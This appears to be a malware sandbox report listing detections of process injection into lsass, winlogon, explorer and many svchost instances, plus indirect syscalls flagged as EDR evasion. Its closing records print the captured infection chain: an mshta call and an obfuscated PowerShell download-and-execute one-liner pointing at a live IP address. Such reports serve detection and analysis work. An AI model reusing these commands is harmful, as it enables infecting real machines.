Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 118D8250000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27687590000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28FAA0B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 82A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19292570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 2A31FCE0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 221CFED0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 23D73B60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1EF6E7A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 15DAA130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 269FBD40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 14A28E00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19605730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1D87EEC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 17D8C030000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 12899B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 25B1DE10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 16A4A3A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 21B979F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 200D6D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2861D310000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E329E50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1A2A6D70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C230000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C5C0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

37_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 85B9273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 911C273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 255D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\dwm.exe EIP: E130273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5399273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D8BA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BD13273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F8B7273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8AFD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8F3D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5484273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7658273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5E79273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 10D3273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A2B7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3CBD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B73D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E96E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9D0D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 676E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D653273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6378273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FF1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C613273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F107273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8BB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 54DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 2053273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E9EA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A634273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5C5A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 464E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 351A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9A4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3F90273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6A5B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C5E9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 3AF3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A05C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B046273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7CF4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FCB8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1CE3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7C55273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FE01273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 93B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D825273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8759273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AA0B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 82A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 9257273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1FCE273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CFED273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 73B6273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6E7A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AA13273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FBD4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 28E0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 573273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7EEC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C03273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 99B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1DE1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4A3A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 979F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D6D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1D31273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 29E5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A6D7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1C23273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1C5C273C

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF7DF332108
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQueryInformationProcess: Indirect: 0x7FF7CF24A43D
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQuerySystemInformation: Indirect: 0x7FF7CF242108
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQuerySystemInformation: Indirect: 0x7FF7CF216D37
Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF7DF33A315
Source: C:\ProgramData\Mig\Mig.exe	NtQueryInformationProcess: Indirect: 0x7FF7DF33A43D
Source: C:\ProgramData\Mig\Mig.exe	NtQuerySystemInformation: Indirect: 0x7FF7DF306D37
Source: C:\Users\user\AppData\Roaming\LB31.exe	NtQueryInformationProcess: Indirect: 0x7FF7CF24A315

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1F385B90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 2A2911C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E255D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 283E1300000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FB53990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CBD8BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F2BD130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 229F8B70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2938AFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2258F3D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26F54840000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B76580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1265E790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18510D30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A2B70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F33CBD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FAB73D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D3E96E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2389D0D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E676E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A4D6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20763780000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200FF1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CC6130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 266F1070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26008BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E54DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CF20530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FDE9EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19EA6340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ED5C5A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC464E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15B351A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C38C460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DC09A40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C73F900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 22300B00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1616A5B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181C5E90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18E3AF30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D70B1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DA05C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C9B0460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23A7CF40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184FCB80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CF1CE30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1697C550000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F0FE010000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC093B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C8004E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 118D8250000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27687590000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28FAA0B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 82A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19292570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2A31FCE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221CFED0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23D73B60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1EF6E7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 15DAA130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 269FBD40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14A28E00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19605730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1D87EEC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 17D8C030000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 12899B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 25B1DE10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 16A4A3A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 21B979F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200D6D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2861D310000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E329E50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1A2A6D70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C230000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C5C0000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 3504 base: 82A0000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\LB31.exe

Thread register set: target process: 7616

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1F385B90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 2A2911C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E255D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 283E1300000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FB53990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CBD8BA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F2BD130000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 229F8B70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2938AFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2258F3D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26F54840000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B76580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1265E790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18510D30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A2B70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F33CBD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FAB73D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D3E96E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2389D0D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E676E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A4D6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20763780000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200FF1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CC6130000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 266F1070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26008BB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E54DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CF20530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FDE9EA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19EA6340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ED5C5A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC464E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15B351A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C38C460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DC09A40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C73F900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 22300B00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1616A5B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181C5E90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18E3AF30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D70B1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DA05C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C9B0460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23A7CF40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184FCB80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CF1CE30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1697C550000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F0FE010000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC093B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C8004E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 118D8250000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27687590000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28FAA0B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 82A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19292570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2A31FCE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 221CFED0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23D73B60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1EF6E7A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 15DAA130000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 269FBD40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14A28E00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 19605730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1D87EEC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 17D8C030000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 12899B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 25B1DE10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 16A4A3A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 21B979F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200D6D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2861D310000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E329E50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1A2A6D70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C230000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 21C1C5C0000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
